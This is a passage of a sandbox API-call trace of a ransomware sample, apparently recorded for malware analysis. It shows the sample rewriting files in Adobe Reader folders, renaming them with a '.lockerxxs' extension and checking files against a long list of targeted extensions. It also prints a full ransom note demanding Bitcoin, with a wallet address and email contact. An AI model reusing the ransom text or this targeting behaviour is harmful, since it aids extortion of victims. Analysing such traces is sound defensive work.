dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.010] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18e95 [0070.010] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81d81e80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4)) returned 1 [0070.010] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.010] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18e6f, lpOverlapped=0x0) returned 1 [0070.014] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html") returned="license.html" [0070.014] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.014] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18e6f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18e6f, lpOverlapped=0x0) returned 1 [0070.015] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.015] CloseHandle (hObject=0x94) returned 1 [0070.023] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html.lockerxxs")) returned 1 [0070.024] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18e95, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.024] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="NLD", cAlternateFileName="")) returned 1 [0070.024] lstrcmpA (lpString1=".", lpString2="NLD") returned -1 [0070.024] lstrcmpA (lpString1="..", lpString2="NLD") returned -1 [0070.024] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.024] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="NLD" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD" [0070.024] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.024] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.024] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.024] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.024] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.025] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.025] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.025] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.025] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.025] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.025] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*.*") returned="*.*" [0070.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" [0070.025] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\") returned="" [0070.025] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt" [0070.025] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\how to decrypt files.txt")) returned 0xffffffff [0070.025] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.026] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.026] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.027] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.027] CloseHandle (hObject=0x94) returned 1 [0070.027] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini" [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.ems") returned 0 [0070.028] lstrlenA (lpString="*.ems") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.db") returned 0 [0070.028] lstrlenA (lpString="*.db") returned 4 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.dbf") returned 0 [0070.028] lstrlenA (lpString="*.dbf") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.myox") returned 0 [0070.028] lstrlenA (lpString="*.myox") returned 6 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.myo") returned 0 [0070.028] lstrlenA (lpString="*.myo") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbw") returned 0 [0070.028] lstrlenA (lpString="*.qbw") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbb") returned 0 [0070.028] lstrlenA (lpString="*.qbb") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbm") returned 0 [0070.028] lstrlenA (lpString="*.qbm") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbo") returned 0 [0070.028] lstrlenA (lpString="*.qbo") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbx") returned 0 [0070.028] lstrlenA (lpString="*.qbx") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qba") returned 0 [0070.028] lstrlenA (lpString="*.qba") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qby") returned 0 [0070.028] lstrlenA (lpString="*.qby") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qbj") returned 0 [0070.028] lstrlenA (lpString="*.qbj") returned 5 [0070.028] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.ofx") returned 0 [0070.028] lstrlenA (lpString="*.ofx") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.qif") returned 0 [0070.029] lstrlenA (lpString="*.qif") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mye") returned 0 [0070.029] lstrlenA (lpString="*.mye") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mbox") returned 0 [0070.029] lstrlenA (lpString="*.mbox") returned 6 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.eml") returned 0 [0070.029] lstrlenA (lpString="*.eml") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.pst") returned 0 [0070.029] lstrlenA (lpString="*.pst") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.ost") returned 0 [0070.029] lstrlenA (lpString="*.ost") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.idx") returned 0 [0070.029] lstrlenA (lpString="*.idx") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.dbx") returned 0 [0070.029] lstrlenA (lpString="*.dbx") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.sql") returned 0 [0070.029] lstrlenA (lpString="*.sql") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mdb") returned 0 [0070.029] lstrlenA (lpString="*.mdb") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.fdb") returned 0 [0070.029] lstrlenA (lpString="*.fdb") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.wab") returned 0 [0070.029] lstrlenA (lpString="*.wab") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.dat") returned 0 [0070.029] lstrlenA (lpString="*.dat") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.txt") returned 0 [0070.029] lstrlenA (lpString="*.txt") returned 5 [0070.029] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.030] lstrlenA (lpString="*.jpeg") returned 6 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.jpg") returned 0 [0070.030] lstrlenA (lpString="*.jpg") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.png") returned 0 [0070.030] lstrlenA (lpString="*.png") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.php") returned 0 [0070.030] lstrlenA (lpString="*.php") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.cs") returned 0 [0070.030] lstrlenA (lpString="*.cs") returned 4 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.cpp") returned 0 [0070.030] lstrlenA (lpString="*.cpp") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.rar") returned 0 [0070.030] lstrlenA (lpString="*.rar") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.zip") returned 0 [0070.030] lstrlenA (lpString="*.zip") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.html") returned 0 [0070.030] lstrlenA (lpString="*.html") returned 6 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.htm") returned 0 [0070.030] lstrlenA (lpString="*.htm") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.030] lstrlenA (lpString="*.xlsx") returned 6 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.xls") returned 0 [0070.030] lstrlenA (lpString="*.xls") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mp4") returned 0 [0070.030] lstrlenA (lpString="*.mp4") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.ppt") returned 0 [0070.030] lstrlenA (lpString="*.ppt") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.pptx") returned 0 [0070.030] lstrlenA (lpString="*.pptx") returned 6 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.doc") returned 0 [0070.030] lstrlenA (lpString="*.doc") returned 5 [0070.030] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.dot") returned 0 [0070.031] lstrlenA (lpString="*.dot") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.docx") returned 0 [0070.031] lstrlenA (lpString="*.docx") returned 6 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.7z") returned 0 [0070.031] lstrlenA (lpString="*.7z") returned 4 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.tar") returned 0 [0070.031] lstrlenA (lpString="*.tar") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.bz2") returned 0 [0070.031] lstrlenA (lpString="*.bz2") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.gz") returned 0 [0070.031] lstrlenA (lpString="*.gz") returned 4 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mkv") returned 0 [0070.031] lstrlenA (lpString="*.mkv") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.eml") returned 0 [0070.031] lstrlenA (lpString="*.eml") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.msg") returned 0 [0070.031] lstrlenA (lpString="*.msg") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.edb") returned 0 [0070.031] lstrlenA (lpString="*.edb") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.accdb") returned 0 [0070.031] lstrlenA (lpString="*.accdb") returned 7 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.odb") returned 0 [0070.031] lstrlenA (lpString="*.odb") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.java") returned 0 [0070.031] lstrlenA (lpString="*.java") returned 6 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.asm") returned 0 [0070.031] lstrlenA (lpString="*.asm") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.pfx") returned 0 [0070.031] lstrlenA (lpString="*.pfx") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.pem") returned 0 [0070.031] lstrlenA (lpString="*.pem") returned 5 [0070.031] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.p12") returned 0 [0070.031] lstrlenA (lpString="*.p12") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.gpg") returned 0 [0070.032] lstrlenA (lpString="*.gpg") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.vsd") returned 0 [0070.032] lstrlenA (lpString="*.vsd") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.odg") returned 0 [0070.032] lstrlenA (lpString="*.odg") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.raw") returned 0 [0070.032] lstrlenA (lpString="*.raw") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.nef") returned 0 [0070.032] lstrlenA (lpString="*.nef") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.svg") returned 0 [0070.032] lstrlenA (lpString="*.svg") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.psd") returned 0 [0070.032] lstrlenA (lpString="*.psd") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.vmx") returned 0 [0070.032] lstrlenA (lpString="*.vmx") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.032] lstrlenA (lpString="*.vmdk") returned 6 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.vdi") returned 0 [0070.032] lstrlenA (lpString="*.vdi") returned 5 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.lay6") returned 0 [0070.032] lstrlenA (lpString="*.lay6") returned 6 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.032] lstrlenA (lpString="*.mpeg") returned 6 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.djvu") returned 0 [0070.032] lstrlenA (lpString="*.djvu") returned 6 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.tiff") returned 0 [0070.032] lstrlenA (lpString="*.tiff") returned 6 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.backup") returned 0 [0070.032] lstrlenA (lpString="*.backup") returned 8 [0070.032] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.pdf") returned 0 [0070.033] lstrlenA (lpString="*.pdf") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.cert") returned 0 [0070.033] lstrlenA (lpString="*.cert") returned 6 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.docm") returned 0 [0070.033] lstrlenA (lpString="*.docm") returned 6 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.033] lstrlenA (lpString="*.xlsm") returned 6 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.dwg") returned 0 [0070.033] lstrlenA (lpString="*.dwg") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.nd") returned 0 [0070.033] lstrlenA (lpString="*.nd") returned 4 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.tlg") returned 0 [0070.033] lstrlenA (lpString="*.tlg") returned 5 [0070.033] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini", pszSpec="*.lgb") returned 0 [0070.033] lstrlenA (lpString="*.lgb") returned 5 [0070.033] PathMatchSpecA 